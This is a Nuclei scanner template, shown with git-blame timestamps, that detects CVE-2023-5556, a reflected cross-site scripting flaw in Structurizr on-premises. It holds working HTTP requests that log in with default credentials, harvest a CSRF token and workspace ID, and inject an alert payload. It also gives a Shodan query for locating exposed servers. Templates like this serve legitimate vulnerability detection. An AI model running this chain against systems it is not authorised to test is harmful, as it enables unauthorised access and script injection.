2023-11-17 06:19:48 +00:00
|
|
|
id: CVE-2023-5556
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Structurizr on-premises - Cross Site Scripting
|
2023-12-05 08:38:44 +00:00
|
|
|
author: shankaracharya
|
2023-11-17 06:19:48 +00:00
|
|
|
severity: medium
|
2023-11-19 00:39:24 +00:00
|
|
|
description: |
|
|
|
|
Cross-site Scripting (XSS) - Reflected in GitHub repository structurizr/onpremises prior to 3194.
|
2023-12-12 11:07:52 +00:00
|
|
|
remediation: |
|
|
|
|
Apply the latest security patches or updates provided by Structurizr to fix the XSS vulnerability.
|
2023-11-17 06:19:48 +00:00
|
|
|
reference:
|
2023-11-19 00:39:24 +00:00
|
|
|
- https://huntr.com/bounties/a3ee0f98-6898-41ae-b1bd-242a03a73d1b/
|
|
|
|
- https://github.com/structurizr/onpremises/commit/6cff4f792b010dfb1ff6a0b4ae1c6e398f8f8a18
|
2024-01-29 17:11:14 +00:00
|
|
|
- https://github.com/fkie-cad/nvd-json-data-feeds
|
2023-11-17 06:19:48 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
|
|
|
cve-id: CVE-2023-5556
|
|
|
|
cwe-id: CWE-79
|
2024-01-14 13:49:27 +00:00
|
|
|
epss-score: 0.00064
|
2024-03-23 09:28:19 +00:00
|
|
|
epss-percentile: 0.26117
|
2023-11-17 06:19:48 +00:00
|
|
|
cpe: cpe:2.3:a:structurizr:on-premises_installation:*:*:*:*:*:*:*:*
|
|
|
|
metadata:
|
2023-12-12 11:07:52 +00:00
|
|
|
max-request: 5
|
2023-11-17 06:19:48 +00:00
|
|
|
vendor: structurizr
|
|
|
|
product: on-premises_installation
|
2023-11-19 00:39:24 +00:00
|
|
|
shodan-query: http.favicon.hash:1199592666
|
2023-12-05 08:38:44 +00:00
|
|
|
tags: cve,cve2023,xss,structurizr,oos,authenticated
|
|
|
|
variables:
|
|
|
|
str: "{{randstr}}"
|
2023-11-17 06:19:48 +00:00
|
|
|
|
|
|
|
http:
|
2023-12-05 08:38:44 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /signin HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
- |
|
|
|
|
POST /login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Origin: {{RootURL}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
username={{username}}&password={{password}}&_csrf={{csrf}}&hash=
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET /dashboard HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET /workspace/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET /workspace/{{workspace}}/?version={{str}}%22);alert(document.domain);// HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
attack: pitchfork
|
|
|
|
payloads:
|
|
|
|
username:
|
|
|
|
- "structurizr"
|
|
|
|
password:
|
|
|
|
- "password"
|
2023-11-17 06:19:48 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2023-12-05 08:38:44 +00:00
|
|
|
part: body_3
|
2023-11-17 06:19:48 +00:00
|
|
|
words:
|
2023-12-05 08:38:44 +00:00
|
|
|
- '<a href="/dashboard">'
|
|
|
|
- 'Sign out'
|
|
|
|
condition: and
|
2023-11-17 06:19:48 +00:00
|
|
|
|
|
|
|
- type: word
|
2023-12-05 08:38:44 +00:00
|
|
|
part: body_5
|
2023-11-17 06:19:48 +00:00
|
|
|
words:
|
2023-12-05 08:38:44 +00:00
|
|
|
- '");alert(document.domain);//'
|
|
|
|
- 'Structurizr'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: csrf
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- 'name="_csrf" value="([0-9a-z-]+)"'
|
|
|
|
internal: true
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
name: workspace
|
|
|
|
group: 1
|
|
|
|
part: header
|
|
|
|
regex:
|
|
|
|
- '\/workspace\/([0-9]+)\?scriptNonce='
|
|
|
|
internal: true
|
2024-01-30 06:46:18 +00:00
|
|
|
# digest: 4a0a00473045022016a3ee6251af449ae1b14713bb998bf8a1a1201b692604994b8cd372d97749ab022100f82dc06b090d493a3acbd963ee4c2af281045181ad00879d31f50806a5db4ed0:922c64590222798bb761d5b6d8e72950
|